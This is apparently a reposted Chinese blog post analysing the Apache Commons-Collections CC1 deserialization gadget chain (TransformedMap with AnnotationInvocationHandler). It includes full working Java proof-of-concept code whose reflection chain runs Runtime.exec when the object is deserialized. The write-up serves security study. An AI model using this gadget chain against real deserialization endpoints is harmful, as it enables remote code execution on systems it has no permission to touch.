Java反序列化漏洞Apache CommonsCollections分析


Java反序列化漏洞Apache CommonsCollections分析

cc鏈,既為Commons-Collections利用鏈。此篇文章為cc鏈的第一條鏈CC1。而CC1目前用的比較多的有兩條鏈,LazyMap和TransformedMap。在ysoserial工具中,利用的是LazyMap鏈,而我們此篇分析的則是TransformedMap鏈。

1.本文所需前置知識

java反序列化基礎

java反射基礎

文章參考:https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md

2.實驗環境

JDK1.7.0_80

commons-collections-3.2.1

3.分析

3.1 Transformer接口

打開org.apache.commons.collections.Transformer類,可以看到源碼中對該類的解釋是從一個對象變為另一個對象(Transforms the input object (leaving it unchanged) into some output object.),如下圖所示:

image-20210512103708407

下面我們使用一個例子來解釋這個類的作用:

image-20210512110816960

當輸入Runtime.class時輸出了類的類型

image-20210512110924563

我們要進行對象的轉變時候,對應的操作應該在transform方法中。

Ctrl+H 查找實現了Transformer接口的類,重點關注以下幾個類ConstantTransformer,invokerTransformer,ChainedTransformer。我們通過分析這幾個類來構造payload。

3.2 ConstantTransformer

該類使用了Transformer的接口,重寫了transformer的方法

image-20210512112137502

transformer返回了iConstant變量,而這個變量在ConstantTransformer方法中被賦值。我們使用這個方法看下作用。

image-20210512113216183

在return iConstant;處設置斷點,運行程序查看返回值,發現這里返回的是Runtime.class

image-20210512141826906

3.3 InvokerTransformer

查看源碼說是通過反射創建一個新的對象(Transformer implementation that creates a new object instance by reflection.)

來到InvokerTransformer的transform方法:

image-20210512142854359

可以明顯看到這里使用了反射的方式來調用對象的方法,還有有幾個變量iMethodName,iParamTypes,iArgs

這幾個變量是通過public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)這個構造函數傳入。

image-20210512143121411

利用構造函數傳入值,調用transform方法

查看InvokerTransformer源碼找到

iParamTypes為Class[]集合

iArgs為Obeject[]集合

image-20210512204221239

再查看getMethod源碼得知getMethod要傳入二個參數,類型為String,Class[]

image-20210512204352368

同理invoke也要傳入兩個參數Object,Object[]

image-20210625203236670

構造出方法並執行:

image-20210512205207876

可以看到這里反射出了Runtime.getRuntime()的方法,而我們要構造出Runtime.getRuntime().exec();怎么辦呢,這里再介紹一個類ChainedTransformer

3.4 ChainedTransformer

查看源碼transform方法,這里是遍歷一個iTransformers[]集合,並且里面的每個參數都會調用一次transform方法並且依次拼接成一條鏈式調用,如果我們傳入InvokerTransformer作為參數,那么將調用InvokerTransformer中的transform方法執行反射操作。

image-20210513125127149

利用ChainedTransformer反射鏈構造POC的步驟

new Transform[]數組 → 利用ChainedTransformer的構造方法 → 賦值給iTransformers → 調用ChainedTransformer.transform

用ConstantTransformer來構造開頭的Runtime.class對象

image-20210513131431961

反射鏈最終執行的是((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");

兩點疑問:

1.為什么不可以直接通過以下構造Runtime.getRuntime().exec(),而是要通過反射構造((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Runtime沒有繼承 Serializable接口,我們無法將其進行序列化。

image-20210626114427400

而通過Runtime.class變成Class對象后,Class就繼承了Serializable。

以下為Class對象,繼承了Serializable

image-20210626114602802

所以先通過先構造Runtime對象:Runtime.class.getMethod("getRuntime").invoke("null")

Runtime對象不能直接 new拿,原因是 Runtime 類的構造方法是私有的。所以要通過單例模式的靜態方法,也就是Runtime.getRuntime()拿到Runtime對象

image-20210626145330600

image-20210626145347582

再用Runtime對象.exec執行命令,得出完整的payload就為:

Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe")

2.這里invoke("null")的值為什么null。

如果method.invoke中的method為靜態方法,那么可以用null或者用類class來代替

image-20210625203744577

而Runtime.getRuntime中的getRuntime是靜態方法

image-20210625203707637

其中的chain.transform('1');是可以傳入任意Object對象

image-20210625204510499

成功彈出計算器

image-20210513131550746

應該怎么在真實的應用中觸發ChainedTransformer的transform方法,接下來尋找下調用了或者可以間接調用ChainedTransformer.transform的類,其中有兩個類LazyMap、TransformedMap。本篇文章就來講TransformedMap鏈

3.5 TransformedMap鏈

在TransformedMap中,有三處使用了transform方法,transformKey,transformValue,checkSetValue

image-20210513132421557

image-20210513132544003

這三處如果能傳入值ChainedTransformer,就能調用ChainedTransformer.transform。前提是符合類型

我們先看下keyTransformer,valueTransformer的類型

image-20210513133548833

看到為Transformer類型,可以傳入ChainedTransformer,利用TransformedMap的三個方法transformKey、transformValue、checkSetValue觸發ChainedTransformer#transform方法,可是發現這幾個方法都是protected權限,無法被外界訪問。

那么有什么方法可以傳入ChainedTransformer,並且調用到這三個方法呢

可以通過內部類進行調用。尋找下權限為public的函數。

image-20210513133833198

image-20210513133838945

重點看下decorate方法傳入了keyTransformer,valueTransformer的值

image-20210626230303940

put方法依次調用了transformKey,transformValue方法,而這兩個方法又調用了transform方法image-20210513134626485

我們可以通過實例化一個TransforomedMap對象,調用decorate方法傳入keyTransformer,valueTransformer的值,利用對象的put方法執行transformKey、transformValue方法,從而執行任意命令

構造的poc:

public class PocTest {
    public static void main(String[] args) {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers_exec);

        HashMap hashMap = new HashMap();

        Map decorate = TransformedMap.decorate(hashMap,null,chainedTransformer);
        decorate.put("xxx","xxx");
    }
}

image-20210513135853514

現在我們能觸發transform了,但是要找一個類,可以利用反序列化自動觸發類似的操作,必須滿足以下條件:

這個類重寫了readObject(),並且readObject方法中能調用TransformedMap的transformKey、transformValue、checkSetValue這幾個方法

TransformedMap#transformKey

TransformedMap#transformValue

TransformedMap#checkSetValue

這里我們選擇調用了checkSetValue方法

3.6 AnnotationInvocationHandler類

此類是sun.reflect.annotation包下

在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故無法采用此類觸發漏洞

下面是JDK1.7得AnnotationInvocationHandler#readObject

這里重寫了readObject方法,並對Map類型的屬性的entry進行了setValue操作

image-20210625213622982

首先來看一個點,TransformedMap里的每個entry在調用setValue方法時,會自動調用TransformedMap類的checkSetValue方法。至於這里為什么會產生調用,來看下對於checkSetValue這個方法的注釋

image-20210626235642557

翻譯過來就大概說的是,在執行setValue方法的時候,value值調用transform方法進行轉換。

這個checkSetValue方法其實是覆蓋重寫了其父類AbstractInputCheckedMapDecorator的checkSetValue方法,在父類方法中有對checkSetValue方法的解釋,調用一次setValue方法就會調用到checkSetValue方法進行值得檢查。

image-20210627001207088

上面大致是我自己的理解,所以TransformedMap里的entry在調用setValue方法時,會調用到checkSetValue方法進行檢查值。

接下來我們進行分析這里是如何進行調用的

TransformedMap的entry是怎么來的

我們知道Map的Entry對象由Map.entrySet()產生,所以TransformedMap的Entry對象是TransformedMap.entrySet()

我們來看看TransformedMap.entrySet()的調用

TransformedMap類本身是沒有entrySet()方法的,它是繼承了AbstractInputCheckedMapDecorator類的entrySet方法

image-20210625233710792

看return返回值是一個EntrySet對象

image-20210625233831658

跟進EntrySet,發現是一個還在AbstractInputCheckedMapDecorator類中,EntrySet是一個AbstractInputCheckedMapDecorator的靜態內部類

image-20210625233958781

到最后調用到.next()后,此處TransformedMap.entrySet()返回的類型就變成了AbstractInputCheckedMapDecorator$MapEntry類型。

image-20210626204217934

因此得到,如果有這樣的代碼:

		Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通過迭代器獲取第一組值
        entry.setValue(Object.class); 

此時的entry變量就變成了AbstractInputCheckedMapDecorator$MapEntry類型

image-20210517102648345

而示例中,entry.setValue()調用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法

image-20210625235200247

這里的setValue中又調用了checkSetValue方法。

這里parent的值如果為TransformedMap,也就調用到了TransformedMap#checkSetValue方法

image-20210626000404814

這里有個疑問,parent值是怎么傳遞進去的的?其實當進行到map.entrySet()方法的時候,TransformedMap傳進了EntrySet的構造方法的參數中,this即代表這個類

image-20210626000527263

下一步EntrySet構造方法進行了this.parent = parent的賦值

image-20210626000826795

我們寫一個demon來看下:

public class myTransformedMap {
    public static void main(String[] args){
        ChainedTransformer chained = null;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};
        chained = new ChainedTransformer(transformers);
        Map m = new HashMap();
        Map map = TransformedMap.decorate(m,null,chained);
        Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通過迭代器獲取第一組值
        entry.setValue(Object.class); // 參數不重要
    }
}

此處 Map.Entry entry的類型變成了AbstractInputCheckedMapDecorator$MapEntry類型

image-20210517102648345

在entry.setValue(Object.class); 處下斷點,跟進發現跳轉至了AbstractInputCheckedMapDecorator.setValue,里面就是調用到了TransformedMap的checkSetValue方法

image-20210517121351616

AnnotationInvocationHandler的利用

看AnnotationInvocationHandler#readObject方法中調用了var5.setValue

image-20210517123109912

要是var5的值為TransformedMap的entry對象,那么就能觸發TransformedMap#checkSetValue方法了。

往上幾行看到,var5其實為this.memberValues中的其中一個entry,這里可能不太理解,所以我們把這兩行連起來看

var5 = (Entry)this.memberValues.entrySet().iterator().next();

image-20210517123109912

所以,只要把this.memberValues值設置為TransformerdMap,就可以通過TransformerdMap.entrySet().iterator().next()拿到一個TransformerdMap得entry,通過拿到得entry.setValue就可以觸發TransformerdMap得checkSetValue檢查,而執行到transform

image-20210517124648249

要想執行到var5.setValue,前置條件是滿足if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

image-20210517124707268

var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type為構造函數中的第一個值var1。

image-20210517125108234

在這里var1首先要繼承Annotation,而Annotation是所有注解類默認繼承的接口,我找到了兩個符合條件得注解類

java.lang.annotation.Target和java.lang.annotation.Retention

image-20210517125210938

構造POC:

package com.yyhuni;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class PocTest {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);



        // 通過反射機制實例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

POC里面包含了兩個點:

1.innerMap.put("value","asdf");的Key一定要為value,不然無法利用

具體調用這里不再分析,只是說明下:

AnnotationInvocationHandler構造函數第一個參數是Annotation的子類,且其中必須含有至少一個方法。

Key的值就是那個Annotation子類中的方法名稱value

image-20210626153651050

2.AnnotationInvocationHandler類要用反射來創建

AnnotationInvocationHandler類的修飾限定符是default,意思是包訪問權限,默認只有同一個包才可以使用。

img

歡迎關注我的公眾號,同步更新喔

wx


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM